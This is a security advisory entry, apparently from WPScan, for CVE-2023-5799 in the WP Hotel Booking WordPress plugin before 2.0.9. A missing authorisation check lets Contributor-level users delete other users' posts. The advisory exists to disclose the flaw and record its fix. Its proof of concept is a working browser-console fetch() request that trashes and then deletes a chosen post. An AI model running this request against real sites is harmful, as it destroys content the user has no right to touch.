WP Hotel Booking < 2.0.9 – Contributor+ Arbitrary Post Deletion | CVE 2023-5799 | Plugin Vulnerabilities

Description

The plugin does not have proper authorisation when deleting a package, allowing Contributor and above roles to delete posts that do no belong to them

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a Contributor user. This will put the post with ID 1 in the trash (change this ID to a post the user should not be able to delete, like one created by an admin). Run it again to delete the post

fetch("/wp-admin/admin-ajax.php", {"headers": {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},"body": 'action=tp_extra_package_remove&package_id=1&nonce=' + hotel_settings['nonce'],"method": "POST"});

Affects Plugins

wp-hotel-booking

Fixed in 2.0.9

References

CVE

Classification

Type

INCORRECT AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

3061f85e-a70e-49e5-bccf-ae9240f51178

Timeline

Publicly Published

2023-10-26 (about 2 years ago)

Added

2023-10-26 (about 2 years ago)

Last Updated

2023-10-26 (about 2 years ago)

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